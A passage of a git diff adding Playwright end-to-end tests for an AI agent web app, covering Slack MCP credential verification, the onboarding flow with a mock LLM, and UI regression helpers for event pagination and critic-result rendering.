+    await verifyStoredGitHubCredential();
+
+    const settingsResp = await page.request.get(`${BACKEND_URL}/api/settings`, {
+      headers: { "X-Session-API-Key": SESSION_API_KEY },
+    });
+    expect(settingsResp.ok()).toBe(true);
+    const settings = await settingsResp.json();
+    expect(settings.agent_settings.mcp_config).toMatchObject({
+      github: {
+        url: GITHUB_HOSTED_MCP_URL,
+        auth: { strategy: "api_key", value: "**********" },
+      },
+    });
+    expect(settings.agent_settings.mcp_config.docs).toBeUndefined();
+  });
+});
diff --git a/tests/e2e/mock-llm/mcp/mock-llm-mcp-slack-credentials.spec.ts b/tests/e2e/mock-llm/mcp/mock-llm-mcp-slack-credentials.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..bc0b6e571a19d08ba7520f1d11fef4ed94353586
--- /dev/null
+++ b/tests/e2e/mock-llm/mcp/mock-llm-mcp-slack-credentials.spec.ts
@@ -0,0 +1,331 @@
+/**
+ * Mock-LLM E2E: MCP "Test connection" credential verification (PR #1175).
+ *
+ * Background: the Slack MCP server lists its tools with *any* credentials and
+ * only exercises them inside tool handlers, so the old connection test
+ * (`tools/list` only) reported "Connected — 8 tool(s) available" for an
+ * invalid Team ID / Bot token. This suite proves the fix end-to-end through
+ * the real browser → real agent-server stack, with only `POST /api/mcp/test`
+ * intercepted so we can drive the agent server's `tool_result` payload (the
+ * credential interpretation itself runs client-side in `McpService`).
+ *
+ * Verifies the PR's acceptance criteria:
+ *   - Installing Slack with invalid credentials shows
+ *     "Credential check failed: invalid_auth" and does NOT install.
+ *   - A read-only `slack_list_channels {limit: 1}` probe is attached to the
+ *     test request for catalog servers (Slack) — and to NOTHING for custom
+ *     (non-catalog) servers.
+ *   - A valid token merely missing a scope (`missing_scope`) is NOT treated
+ *     as a credential failure — the install still succeeds.
+ *   - Valid credentials connect successfully.
+ *   - Older agent servers that omit `tool_result` behave exactly as before.
+ *   - The Edit modal's "Test connection" verifies the *stored* credentials —
+ *     it never tests the literal redaction placeholder the browser sees.
+ */
+
+import {
+  test,
+  expect,
+  type APIRequestContext,
+  type Page,
+} from "@playwright/test";
+import {
+  BACKEND_URL,
+  SESSION_API_KEY,
+  seedLocalStorage,
+  routeSessionApiKey,
+  dismissAnalyticsModal,
+  ensureMockLLMProfileViaAPI,
+} from "../utils/mock-llm-helpers";
+
+// The read-only verification probe the service attaches for Slack.
+const SLACK_TOOL_CALL = {
+  name: "slack_list_channels",
+  arguments: { limit: 1 },
+};
+
+// Placeholder the settings API substitutes for secret env values when read
+// without X-Expose-Secrets (the MCP page's mode). The whole point of the fix
+// is that the test request must NOT carry this value.
+const REDACTED = "**********";
+
+/** The JSON body the GUI POSTs to `/api/mcp/test` (captured via interception). */
+interface McpTestRequestBody {
+  server?: { type?: string; url?: string; env?: Record<string, string> };
+  name?: string;
+  timeout?: number;
+  tool_call?: { name: string; arguments: Record<string, unknown> };
+}
+
+const jsonRoute = (body: unknown) => ({
+  status: 200,
+  contentType: "application/json",
+  body: JSON.stringify(body),
+});
+
+/**
+ * Shape the patched agent server returns from `POST /api/mcp/test`: tools were
+ * listed successfully and the attached `tool_call` ran, with its raw outcome
+ * in `tool_result`. `McpService` interprets this client-side.
+ */
+const slackToolResult = (text: string, isError = false) => ({
+  ok: true,
+  tools: ["slack_list_channels", "slack_post_message"],
+  tool_result: { is_error: isError, text },
+});
+
+async function getSettings(request: APIRequestContext) {
+  const resp = await request.get(`${BACKEND_URL}/api/settings`, {
+    headers: { "X-Session-API-Key": SESSION_API_KEY },
+  });
+  expect(resp.ok(), `GET /api/settings: ${resp.status()}`).toBe(true);
+  return resp.json();
+}
+
+/** Detect the Slack server in persisted settings. */
+function hasSlackServer(settings: unknown): boolean {
+  const servers = (settings as { agent_settings?: { mcp_config?: unknown } })
+    ?.agent_settings?.mcp_config;
+  if (!servers) return false;
+  return JSON.stringify(servers).includes("@zencoderai/slack-mcp-server");
+}
+
+async function patchMcpConfig(request: APIRequestContext, mcpConfig: unknown) {
+  const resp = await request.patch(`${BACKEND_URL}/api/settings`, {
+    headers: {
+      "X-Session-API-Key": SESSION_API_KEY,
+      "Content-Type": "application/json",
+    },
+    data: { agent_settings_diff: { mcp_config: mcpConfig } },
+  });
+  expect(resp.ok(), `seed mcp_config: ${resp.status()}`).toBe(true);
+}
+
+/** Seed a Slack stdio server (matches the marketplace catalog entry). */
+async function installSlackViaAPI(
+  request: APIRequestContext,
+  env: Record<string, string>,
+) {
+  await patchMcpConfig(request, {
+    slack: {
+      command: "npx",
+      args: ["-y", "@zencoderai/slack-mcp-server"],
+      env,
+    },
+  });
+}
+
+async function openSlackInstallModal(page: Page) {
+  await page.goto("/mcp", { waitUntil: "domcontentloaded" });
+  await dismissAnalyticsModal(page);
+  await expect(page.getByTestId("mcp-marketplace-grid")).toBeVisible({
+    timeout: 30_000,
+  });
+  await page.getByTestId("mcp-marketplace-card-slack").click();
+  const modal = page.getByTestId("mcp-install-modal");
+  await expect(modal).toBeVisible({ timeout: 5_000 });
+  await expect(modal).toHaveAttribute("data-marketplace-id", "slack");
+  return modal;
+}
+
+async function fillSlackCredentials(
+  page: Page,
+  teamId: string,
+  botToken: string,
+) {
+  await page.getByTestId("mcp-install-field-SLACK_TEAM_ID").fill(teamId);
+  await page.getByTestId("mcp-install-field-SLACK_BOT_TOKEN").fill(botToken);
+}
+
+/** Open the editor for the first installed server (clicking its title avoids
+ *  the delete toggle in the card's top-right corner). */
+async function openInstalledEditor(page: Page) {
+  await page.goto("/mcp", { waitUntil: "domcontentloaded" });
+  await dismissAnalyticsModal(page);
+  const list = page.getByTestId("mcp-installed-list");
+  await expect(list).toBeVisible({ timeout: 10_000 });
+  const item = list.getByTestId("mcp-server-item").first();
+  await expect(item).toBeVisible();
+  await item.locator("h3").click();
+  await expect(page.getByTestId("mcp-custom-editor")).toBeVisible({
+    timeout: 5_000,
+  });
+}
+
+test.describe.configure({ mode: "serial" });
+
+test.describe("MCP Test Connection credential verification (Slack)", () => {
+  test.beforeEach(async ({ page, request }) => {
+    await seedLocalStorage(page);
+    // A configured LLM profile keeps the MCP page free of "not configured"
+    // banners that could intercept clicks. Done via API for speed.
+    await ensureMockLLMProfileViaAPI(request);
+  });
+
+  test.afterEach(async ({ request }) => {
+    // Reset MCP config so each test starts from a clean installed list.
+    await patchMcpConfig(request, null).catch(() => {});
+  });
+
+  test("install: invalid Slack credentials are blocked with a credential-check error", async ({
+    page,
+    request,
+  }) => {
+    await routeSessionApiKey(page);
+
+    const testRequests: McpTestRequestBody[] = [];
+    await page.route("**/api/mcp/test", async (route) => {
+      testRequests.push(route.request().postDataJSON());
+      await route.fulfill(
+        jsonRoute(slackToolResult('{"ok":false,"error":"invalid_auth"}')),
+      );
+    });
+
+    const modal = await openSlackInstallModal(page);
+    await fillSlackCredentials(page, "T_INVALID", "xoxb-invalid-token");
+    await page.getByTestId("mcp-install-submit").click();
+
+    // The credential failure is surfaced and the modal stays open.
+    const error = page.getByTestId("mcp-install-modal-error");
+    await expect(error).toBeVisible({ timeout: 10_000 });
+    await expect(error).toContainText("Credential check failed: invalid_auth");
+    await expect(modal).toBeVisible();
+
+    // The read-only verification probe was attached to the test request.
+    expect(testRequests[0]?.tool_call).toEqual(SLACK_TOOL_CALL);
+
+    // Nothing was installed.
+    expect(hasSlackServer(await getSettings(request))).toBe(false);
+  });
+
+  test("install: a valid token missing only a scope still installs (missing_scope is not a credential failure)", async ({
+    page,
+    request,
+  }) => {
+    await routeSessionApiKey(page);
+    await page.route("**/api/mcp/test", async (route) => {
+      await route.fulfill(
+        jsonRoute(slackToolResult('{"ok":false,"error":"missing_scope"}')),
+      );
+    });
+
+    const modal = await openSlackInstallModal(page);
+    await fillSlackCredentials(
+      page,
+      "T0123456",
+      "xoxb-valid-but-missing-scope",
+    );
+    await page.getByTestId("mcp-install-submit").click();
+
+    // missing_scope proves the token authenticated → install proceeds.
+    await expect(modal).not.toBeVisible({ timeout: 10_000 });
+    await expect(page.getByTestId("mcp-installed-list")).toBeVisible({
+      timeout: 10_000,
+    });
+    expect(hasSlackServer(await getSettings(request))).toBe(true);
+  });
+
+  test("install: an older agent server that omits tool_result still installs (compat)", async ({
+    page,
+    request,
+  }) => {
+    await routeSessionApiKey(page);
+    // No `tool_result` field → the response passes through uninterpreted.
+    await page.route("**/api/mcp/test", async (route) => {
+      await route.fulfill(jsonRoute({ ok: true, tools: ["a", "b"] }));
+    });
+
+    const modal = await openSlackInstallModal(page);
+    await fillSlackCredentials(page, "T0123456", "xoxb-some-token");
+    await page.getByTestId("mcp-install-submit").click();
+
+    await expect(modal).not.toBeVisible({ timeout: 10_000 });
+    expect(hasSlackServer(await getSettings(request))).toBe(true);
+  });
+
+  test("edit: Test Connection verifies the stored credentials and surfaces a credential failure", async ({
+    page,
+    request,
+  }) => {
+    await installSlackViaAPI(request, {
+      SLACK_TEAM_ID: "T0123456",
+      SLACK_BOT_TOKEN: "xoxb-stored-secret",
+    });
+    await routeSessionApiKey(page);
+
+    const testRequests: McpTestRequestBody[] = [];
+    await page.route("**/api/mcp/test", async (route) => {
+      testRequests.push(route.request().postDataJSON());
+      await route.fulfill(
+        jsonRoute(slackToolResult('{"ok":false,"error":"invalid_auth"}')),
+      );
+    });
+
+    await openInstalledEditor(page);
+    await page.getByTestId("mcp-test-connection").click();
+
+    const message = page.getByTestId("mcp-test-message");
+    await expect(message).toBeVisible({ timeout: 10_000 });
+    await expect(message).toContainText(
+      "Credential check failed: invalid_auth",
+    );
+
+    // The Slack verification probe is attached in the edit flow too...
+    expect(testRequests[0]?.tool_call).toEqual(SLACK_TOOL_CALL);
+    // ...and the request tests the *stored* token, never the placeholder the
+    // browser sees in the redacted form (the second root cause the PR fixes).
+    expect(testRequests[0]?.server?.env?.SLACK_BOT_TOKEN).not.toBe(REDACTED);
+  });
+
+  test("edit: Test Connection reports success for valid stored credentials", async ({
+    page,
+    request,
+  }) => {
+    await installSlackViaAPI(request, {
+      SLACK_TEAM_ID: "T0123456",
+      SLACK_BOT_TOKEN: "xoxb-stored-secret",
+    });
+    await routeSessionApiKey(page);
+    await page.route("**/api/mcp/test", async (route) => {
+      await route.fulfill(
+        jsonRoute(slackToolResult('{"ok":true,"channels":[]}')),
+      );
+    });
+
+    await openInstalledEditor(page);
+    await page.getByTestId("mcp-test-connection").click();
+
+    const message = page.getByTestId("mcp-test-message");
+    await expect(message).toBeVisible({ timeout: 10_000 });
+    // 2 tools listed → "Connected — 2 tool(s) available".
+    await expect(message).toContainText("2 tool(s) available");
+    await expect(message).not.toContainText("Credential check failed");
+  });
+
+  test("custom (non-catalog) server: Test Connection attaches no verification probe", async ({
+    page,
+    request,
+  }) => {
+    // A custom server is not in the marketplace catalog → no credential probe.
+    await patchMcpConfig(request, {
+      my_custom: { url: "https://custom.example.test/mcp" },
+    });
+    await routeSessionApiKey(page);
+
+    const testRequests: McpTestRequestBody[] = [];
+    await page.route("**/api/mcp/test", async (route) => {
+      testRequests.push(route.request().postDataJSON());
+      await route.fulfill(jsonRoute({ ok: true, tools: ["search"] }));
+    });
+
+    await openInstalledEditor(page);
+    await page.getByTestId("mcp-test-connection").click();
+
+    const message = page.getByTestId("mcp-test-message");
+    await expect(message).toBeVisible({ timeout: 10_000 });
+    await expect(message).toContainText("1 tool(s) available");
+
+    // Behavior unchanged for custom servers: no tool_call attached.
+    expect(testRequests[0]?.tool_call).toBeUndefined();
+  });
+});
diff --git a/tests/e2e/mock-llm/onboarding/mock-llm-onboarding-happy-path.spec.ts b/tests/e2e/mock-llm/onboarding/mock-llm-onboarding-happy-path.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..f9ffcc500ed74ffead9dda4293c3ffe5d879bfe8
--- /dev/null
+++ b/tests/e2e/mock-llm/onboarding/mock-llm-onboarding-happy-path.spec.ts
@@ -0,0 +1,242 @@
+/**
+ * Mock-LLM E2E test: full onboarding happy path (PR #1095 coverage).
+ *
+ * Exercises the complete first-run onboarding flow end-to-end:
+ *
+ *   Step 0 — Choose Agent: selects OpenHands and advances.
+ *   Step 1 — Check Backend: waits for the connected banner, advances.
+ *   Step 2 — Setup LLM: fills in the mock LLM model, base URL, and API
+ *            key (via "All" mode), and advances. The step persists settings
+ *            AND creates/activates a named profile automatically.
+ *   Step 3 — Say Hello: verifies the Skip button is hidden (PR #1095),
+ *            submits the default greeting, verifies the conversation is
+ *            created and the browser navigates to it.
+ *
+ * The test also validates:
+ *   - The onboarding modal closes after launching.
+ *   - `openhands-onboarded` is set in localStorage.
+ *   - The settings-saved toast does NOT appear during onboarding.
+ *   - No error banners are visible after the conversation loads.
+ */
+
+import { test, expect } from "@playwright/test";
+import {
+  SESSION_API_KEY,
+  MOCK_LLM_AGENT_URL,
+  routeSessionApiKey,
+  waitForPath,
+  getConversationIdFromURL,
+  deleteConversation,
+  registerTrajectory,
+  activateTrajectory,
+  resetMockLLM,
+  waitForNonUserMessageText,
+} from "../utils/mock-llm-helpers";
+import {
+  showOnboarding,
+  waitForOnboardingStep,
+  waitForOnboardingBackendConnected,
+  clickOnboardingStepButton,
+  getOnboardingStepLayout,
+  type OnboardingStepLayout,
+} from "../../support/onboarding-helpers";
+
+const MOCK_MODEL = "openai/mock-onboarding-model";
+const REPLY_TOKEN = "ONBOARDING_HAPPY_PATH_REPLY_OK";
+
+test.describe.configure({ mode: "serial" });
+
+test.describe("onboarding happy path", () => {
+  const conversationIds = new Set<string>();
+
+  test.afterEach(async ({ request }) => {
+    for (const id of Array.from(conversationIds)) {
+      try {
+        await deleteConversation(request, id);
+        conversationIds.delete(id);
+      } catch {
+        // best-effort
+      }
+    }
+    // Reset the mock LLM to its default trajectory so subsequent specs
+    // start with a clean slate.
+    try {
+      await resetMockLLM(request);
+    } catch {
+      // best-effort
+    }
+  });
+
+  test("completes the full onboarding flow and launches a conversation", async ({
+    page,
+    request,
+  }) => {
+    test.setTimeout(120_000);
+
+    // Register a trajectory so the mock LLM can respond once the
+    // conversation is created by the Say Hello step.
+    //
+    // Turn 0 is padding: the agent-server makes an internal LLM call
+    // (condenser/skill-analysis) before the agent's main loop starts.
+    // This consumes one trajectory response. Same pattern used by the
+    // automation and model-switch specs.
+    await registerTrajectory(request, "onboarding-hello", [
+      { text: "" }, // padding for internal condenser call
+      { text: REPLY_TOKEN },
+    ]);
+    await activateTrajectory(request, "onboarding-hello");
+
+    // Show the onboarding modal (clears openhands-onboarded, seeds backend)
+    await showOnboarding(page, {
+      apiKey: SESSION_API_KEY,
+      beforeGoto: () => routeSessionApiKey(page),
+    });
+
+    let layout!: OnboardingStepLayout;
+
+    // ── Backend / agent setup ────────────────────────────────────────
+
+    await test.step("backend setup if needed, then choose agent", async () => {
+      layout = await getOnboardingStepLayout(page);
+      // Verify the skip button is visible on non-final steps
+      await expect(
+        page.getByTestId("onboarding-skip"),
+        "Skip button should be visible before the final step",
+      ).toBeVisible({ timeout: 5_000 });
+
+      if (layout.hasBackendStep) {
+        await waitForOnboardingBackendConnected(page);
+        await clickOnboardingStepButton(page, "onboarding-backend-next");
+        await waitForOnboardingStep(page, layout.agentStep);
+      } else {
+        await expect(
+          page.getByTestId("onboarding-step-choose-agent"),
+          "healthy configured backends should start at agent selection",
+        ).toBeVisible({ timeout: 10_000 });
+      }
+
+      await expect(
+        page.getByTestId("onboarding-skip"),
+        "Skip button should be visible on agent selection",
+      ).toBeVisible();
+
+      await clickOnboardingStepButton(page, "onboarding-agent-next");
+    });
+
+    // ── Step 2: Setup LLM ───────────────────────────────────────────
+
+    await test.step("step 2: setup LLM — fill mock LLM details, advance", async () => {
+      await waitForOnboardingStep(page, layout.llmStep);
+
+      await expect(
+        page.getByTestId("onboarding-step-setup-llm"),
+        "LLM setup step should be visible",
+      ).toBeVisible({ timeout: 10_000 });
+
+      await expect(
+        page.getByTestId("onboarding-skip"),
+        "Skip button should be visible on step 2",
+      ).toBeVisible();
+
+      // Switch to "All" view to access base_url and custom model fields
+      const allToggle = page.getByTestId("sdk-section-all-toggle");
+      await allToggle.dispatchEvent("click");
+
+      // Wait for the advanced form
+      await expect(
+        page.getByTestId("llm-settings-form-advanced"),
+      ).toBeVisible({ timeout: 10_000 });
+
+      // Fill in model
+      const modelInput = page.getByTestId("llm-custom-model-input");
+      await modelInput.click();
+      await modelInput.fill(MOCK_MODEL);
+
+      // Fill in base URL
+      const baseUrlInput = page.getByTestId("base-url-input");
+      await baseUrlInput.click();
+      await baseUrlInput.fill(MOCK_LLM_AGENT_URL);
+
+      // Fill in API key
+      const apiKeyInput = page.getByTestId("llm-api-key-input");
+      await apiKeyInput.click();
+      await apiKeyInput.fill("mock-api-key-for-testing");
+
+      // Click Next — this saves settings and creates/activates a profile
+      await clickOnboardingStepButton(page, "onboarding-llm-next");
+    });
+
+    // ── Step 3: Say Hello ───────────────────────────────────────────
+
+    await test.step("step 3: say hello — verify skip hidden, launch conversation", async () => {
+      await waitForOnboardingStep(page, layout.helloStep);
+
+      await expect(
+        page.getByTestId("onboarding-step-say-hello"),
+        "Say Hello step should be visible",
+      ).toBeVisible({ timeout: 10_000 });
+
+      // PR #1095 key assertion: Skip button must be hidden on the final step
+      await expect(
+        page.getByTestId("onboarding-skip"),
+        "Skip button should NOT be visible on the final step",
+      ).toHaveCount(0);
+
+      // The hello input should be pre-filled with the default message
+      const helloInput = page.getByTestId("onboarding-hello-input");
+      await expect(helloInput).toBeVisible();
+      const inputValue = await helloInput.inputValue();
+      expect(
+        inputValue.length,
+        "Hello input should be pre-filled with a default message",
+      ).toBeGreaterThan(0);
+
+      // Submit the hello message — this creates a conversation
+      await helloInput.press("Enter");
+    });
+
+    // ── Verify: navigation to conversation page ─────────────────────
+
+    await test.step("verify navigation to conversation page", async () => {
+      await waitForPath(page, /\/conversations\/.+/, 30_000);
+      const conversationId = getConversationIdFromURL(page);
+      conversationIds.add(conversationId);
+    });
+
+    // ── Verify: onboarding modal is gone ────────────────────────────
+
+    await test.step("verify onboarding modal is dismissed", async () => {
+      await expect(
+        page.getByTestId("onboarding-modal"),
+        "Onboarding modal should be dismissed after launching a conversation",
+      ).toHaveCount(0, { timeout: 10_000 });
+    });
+
+    // ── Verify: onboarding completion flag is persisted ──────────────
+
+    await test.step("verify openhands-onboarded is set in localStorage", async () => {
+      await expect
+        .poll(
+          () =>
+            page.evaluate(() =>
+              window.localStorage.getItem("openhands-onboarded"),
+            ),
+          { message: "openhands-onboarded should be '1' after completing the flow" },
+        )
+        .toBe("1");
+    });
+
+    // ── Verify: agent responds (proves LLM settings were saved) ─────
+
+    await test.step("verify agent responds with the mock LLM", async () => {
+      await waitForNonUserMessageText(page, REPLY_TOKEN, 30_000);
+    });
+
+    // ── Verify: no error banners ────────────────────────────────────
+
+    await test.step("verify no error banners after conversation loads", async () => {
+      const errorBanner = page.getByTestId("error-message-banner");
+      await expect(errorBanner).not.toBeVisible({ timeout: 2_000 });
+    });
+  });
+});
diff --git a/tests/e2e/mock-llm/onboarding/mock-llm-onboarding-regressions.spec.ts b/tests/e2e/mock-llm/onboarding/mock-llm-onboarding-regressions.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..4ddc292ba3fc4dd89ef829b59114c1b613690825
--- /dev/null
+++ b/tests/e2e/mock-llm/onboarding/mock-llm-onboarding-regressions.spec.ts
@@ -0,0 +1,112 @@
+import test, { expect } from "@playwright/test";
+import {
+  advanceOnboardingToLlmStep,
+  ONBOARDING_BACKEND_STEP,
+  showOnboarding,
+  waitForOnboardingStep,
+} from "../../support/onboarding-helpers";
+import { routeSessionApiKey, SESSION_API_KEY } from "../utils/mock-llm-helpers";
+
+test.describe.configure({ mode: "serial" });
+
+test.describe("onboarding recent regressions", () => {
+  // Regression coverage for #1085 / PR #1100: errant outside
+  // interactions must not permanently mark onboarding complete.
+
+  test("keeps the modal open on backdrop click and Escape", async ({
+    page,
+  }) => {
+    await showOnboarding(page, {
+      apiKey: SESSION_API_KEY,
+      beforeGoto: () => routeSessionApiKey(page),
+    });
+
+    // Exercise the original first-load path before any onboarding step
+    // interaction.
+    await page.mouse.click(8, 8);
+    await page.keyboard.press("Escape");
+
+    await expect(
+      page.getByTestId("onboarding-modal"),
+      "onboarding modal should ignore backdrop clicks and Escape",
+    ).toBeVisible();
+    await waitForOnboardingStep(page, ONBOARDING_BACKEND_STEP);
+    await expect
+      .poll(
+        () =>
+          page.evaluate(() =>
+            window.localStorage.getItem("openhands-onboarded"),
+          ),
+        {
+          message:
+            "onboarding should not be marked complete by outside interactions",
+        },
+      )
+      .toBeNull();
+
+    await page.getByTestId("onboarding-skip").click();
+    await expect(
+      page.getByTestId("onboarding-modal"),
+      "skip should close the onboarding modal",
+    ).toHaveCount(0);
+    await expect
+      .poll(
+        () =>
+          page.evaluate(() =>
+            window.localStorage.getItem("openhands-onboarded"),
+          ),
+        { message: "skip should persist onboarding completion" },
+      )
+      .toBe("1");
+  });
+
+  // Regression coverage for #1077 / PR #1089: first-run LLM setup
+  // should default users to the configured default provider and model.
+
+  test("defaults the LLM setup step to OpenAI GPT-5.6 Sol", async ({
+    page,
+  }) => {
+    await showOnboarding(page, {
+      apiKey: SESSION_API_KEY,
+      beforeGoto: async () => {
+        await routeSessionApiKey(page);
+        // Intercept GET /api/settings so the LLM form sees a clean
+        // base_url, forcing basic view mode regardless of what earlier
+        // specs configured. Registered AFTER routeSessionApiKey so
+        // Playwright's LIFO matching picks this up first for settings.
+        await page.route("**/api/settings", async (route, req) => {
+          if (req.method() !== "GET") {
+            await route.fallback();
+            return;
+          }
+          const response = await route.fetch();
+          const body = await response.json();
+          if (body?.agent_settings?.llm) {
+            body.agent_settings.llm.base_url = null;
+          }
+          await route.fulfill({ response, json: body });
+        });
+      },
+    });
+    await advanceOnboardingToLlmStep(page);
+
+    const providerInput = page.locator('input[name="llm-provider-input"]');
+    const modelInput = page.locator('input[name="llm-model-input"]');
+
+    await expect(
+      providerInput,
+      "first-run onboarding should default to the OpenAI provider",
+    ).toHaveValue("OpenAI", { timeout: 10_000 });
+    // The model input displays the model ID without the provider prefix.
+    await expect(
+      modelInput,
+      "first-run onboarding should default to GPT-5.6 Sol",
+    ).toHaveValue("gpt-5.6-sol", {
+      timeout: 10_000,
+    });
+    await expect(
+      page.getByTestId("openhands-account-help"),
+      "OpenHands account helper should be hidden for OpenAI defaults",
+    ).toBeHidden();
+  });
+});
diff --git a/tests/e2e/mock-llm/regressions/mock-llm-ui-regressions.spec.ts b/tests/e2e/mock-llm/regressions/mock-llm-ui-regressions.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..34cd07002ed05ac06fbceaec274ec909f8a45d15
--- /dev/null
+++ b/tests/e2e/mock-llm/regressions/mock-llm-ui-regressions.spec.ts
@@ -0,0 +1,647 @@
+/**
+ * Mock-LLM E2E: UI regression tests.
+ *
+ * Ported from the former `tests/e2e/regressions/` directory so they run
+ * against the real agent-server stack (via `bin/agent-canvas.mjs`) instead
+ * of the MSW-only dev-mock server that was never wired into CI.
+ *
+ * Tests use `page.route()` where specific API responses need to be
+ * controlled, following the same pattern as
+ * `mock-llm-onboarding-regressions.spec.ts`.
+ */
+
+import test, { expect, type Page, type Request } from "@playwright/test";
+import type { ActionEvent, MessageEvent } from "#/types/agent-server/core";
+import { SecurityRisk } from "#/types/agent-server/core";
+import type { FinishAction } from "#/types/agent-server/core/base/action";
+import type { CriticResult } from "#/types/agent-server/core/base/critic";
+import { seedLocalStorage, routeSessionApiKey } from "../utils/mock-llm-helpers";
+
+test.describe.configure({ mode: "serial" });
+
+// ═══════════════════════════════════════════════════════════════════════
+// Helpers
+// ═══════════════════════════════════════════════════════════════════════
+
+// ─── pagination helpers ──────────────────────────────────────────────
+
+const PAGINATION_CONVERSATION_ID = "pagination-e2e";
+const CRITIC_CONVERSATION_ID = "critic-rendering-e2e";
+const PAGE_SIZE = 50;
+const PAGINATION_EVENT_COUNT = 100;
+const PAGINATION_BASE_TIME = Date.UTC(2026, 4, 13, 0, 0, 0);
+
+function timestampForEvent(index: number): string {
+  return new Date(PAGINATION_BASE_TIME + index * 60_000).toISOString();
+}
+
+interface PaginationEvent {
+  id: string;
+  timestamp: string;
+  source: string;
+  kind: string;
+  llm_message: {
+    role: string;
+    content: Array<{ type: string; text: string }>;
+  };
+}
+
+type CriticEvent = MessageEvent | ActionEvent<FinishAction>;
+
+function createPaginationEvent(index: number, prefix: string): PaginationEvent {
+  return {
+    id: `${prefix.toLowerCase().replaceAll(" ", "-")}-${index}`,
+    timestamp: timestampForEvent(index),
+    source: "agent",
+    kind: "MessageEvent",
+    llm_message: {
+      role: "assistant",
+      content: [{ type: "text", text: `${prefix} ${index}` }],
+    },
+  };
+}
+
+function createAllPaginationEvents(prefix: string): PaginationEvent[] {
+  return Array.from({ length: PAGINATION_EVENT_COUNT }, (_, i) =>
+    createPaginationEvent(i + 1, prefix),
+  );
+}
+
+function searchPaginationEvents(
+  events: PaginationEvent[],
+  searchParams: URLSearchParams,
+) {
+  const limit = Number(searchParams.get("limit") ?? "100");
+  const timestampLt = searchParams.get("timestamp__lt");
+  const sortOrder = searchParams.get("sort_order");
+  const filtered = timestampLt
+    ? events.filter((e) => e.timestamp < timestampLt)
+    : events;
+  const sorted = [...filtered].sort((a, b) =>
+    sortOrder === "TIMESTAMP_DESC"
+      ? b.timestamp.localeCompare(a.timestamp)
+      : a.timestamp.localeCompare(b.timestamp),
+  );
+  return {
+    items: sorted.slice(0, limit),
+    next_page_id: sorted.length > limit ? "next-page" : null,
+  };
+}
+
+/** Build the mock conversation with the same fields the real agent-server
+ *  returns so `requireDirectConversationInfo` can parse it and the
+ *  conversation route doesn't redirect to `/conversations`. */
+function buildMockConversation() {
+  return {
+    id: PAGINATION_CONVERSATION_ID,
+    conversation_id: PAGINATION_CONVERSATION_ID,
+    status: "STOPPED",
+    execution_status: "stopped",
+    created_at: timestampForEvent(1),
+    updated_at: timestampForEvent(PAGINATION_EVENT_COUNT),
+    title: "Pagination test",
+  };
+}
+
+function buildCriticConversation() {
+  return {
+    id: CRITIC_CONVERSATION_ID,
+    conversation_id: CRITIC_CONVERSATION_ID,
+    status: "STOPPED",
+    execution_status: "stopped",
+    created_at: timestampForEvent(1),
+    updated_at: timestampForEvent(4),
+    title: "Critic rendering test",
+  };
+}
+
+function buildCriticResult(score: number, eventId: string): CriticResult {
+  return {
+    score,
+    message: null,
+    metadata: {
+      categorized_features: {
+        agent_behavioral_issues: [
+          {
+            name: "incomplete_changes",
+            display_name: "Incomplete Changes",
+            probability: 0.74,
+          },
+        ],
+        infrastructure_issues: [
+          {
+            name: "test_environment",
+            display_name: "Test Environment",
+            probability: 0.52,
+          },
+        ],
+        user_followup_patterns: [
+          {
+            name: "asks_for_tests",
+            display_name: "Asks for tests",
+            probability: 0.33,
+          },
+        ],
+      },
+      event_ids: [eventId],
+    },
+  };
+}
+
+function createCriticEvents(): CriticEvent[] {
+  return [
+    {
+      id: "critic-user-message",
+      timestamp: timestampForEvent(1),
+      source: "user",
+      llm_message: {
+        role: "user",
+        content: [{ type: "text", text: "Please do the task." }],
+      },
+      activated_skills: [],
+      extended_content: [],
+    },
+    {
+      id: "critic-agent-message",
+      timestamp: timestampForEvent(2),
+      source: "agent",
+      llm_message: {
+        role: "assistant",
+        content: [
+          {
+            type: "text",
+            text: "The requested change has been implemented.",
+          },
+        ],
+      },
+      activated_skills: [],
+      extended_content: [],
+      critic_result: buildCriticResult(0.82, "critic-agent-message"),
+    },
+    {
+      id: "critic-finish-action",
+      timestamp: timestampForEvent(3),
+      source: "agent",
+      thought: [],
+      thinking_blocks: [],
+      action: {
+        kind: "FinishAction",
+        message: "Finished with critic evaluation.",
+      },
+      tool_name: "finish",
+      tool_call_id: "call_critic_finish",
+      tool_call: {
+        id: "call_critic_finish",
+        type: "function",
+        function: {
+          name: "finish",
+          arguments: JSON.stringify({
+            message: "Finished with critic evaluation.",
+          }),
+        },
+      },
+      llm_response_id: "response_critic_finish",
+      security_risk: SecurityRisk.UNKNOWN,
+      critic_result: buildCriticResult(0.64, "critic-finish-action"),
+    },
+  ];
+}
+
+function searchCriticEvents(
+  events: CriticEvent[],
+  searchParams: URLSearchParams,
+) {
+  const limit = Number(searchParams.get("limit") ?? "100");
+  const sortOrder = searchParams.get("sort_order");
+  const sorted = [...events].sort((a, b) =>
+    sortOrder === "TIMESTAMP_DESC"
+      ? b.timestamp.localeCompare(a.timestamp)
+      : a.timestamp.localeCompare(b.timestamp),
+  );
+  return {
+    items: sorted.slice(0, limit),
+    next_page_id: null,
+  };
+}
+
+/** Intercept conversation lookup + event search for pagination tests. */
+async function routePaginationConversation(page: Page) {
+  const allEvents = createAllPaginationEvents("Pagination message");
+
+  // The app fetches conversations via the batch endpoint:
+  //   GET /api/conversations?ids=<id>
+  // Use a regex to match the query-param form of the URL. The glob `?`
+  // character is a single-char wildcard in Playwright, so a regex is
+  // more reliable for matching literal query strings.
+  await page.route(/\/api\/conversations\?/, async (route, req) => {
+    if (req.method() !== "GET") {
+      await route.fallback();
+      return;
+    }
+    const url = new URL(req.url());
+    // Axios serializes array params as `ids[]=a&ids[]=b` (bracket notation).
+    const ids = [
+      ...url.searchParams.getAll("ids"),
+      ...url.searchParams.getAll("ids[]"),
+    ];
+    if (ids.includes(PAGINATION_CONVERSATION_ID)) {
+      await route.fulfill({
+        status: 200,
+        contentType: "application/json",
+        body: JSON.stringify([buildMockConversation()]),
+      });
+    } else {
+      await route.fallback();
+    }
+  });
+
+  // Stub the event search endpoint with the synthetic paginated events.
+  // Older-events requests (those with timestamp__lt) are delayed slightly so
+  // the loading indicator has time to render before the response arrives.
+  // Without this, React can batch the isLoading true→false transition into a
+  // single commit and the DOM element never materialises — making the
+  // "loading-older-events" assertion flaky.
+  await page.route(
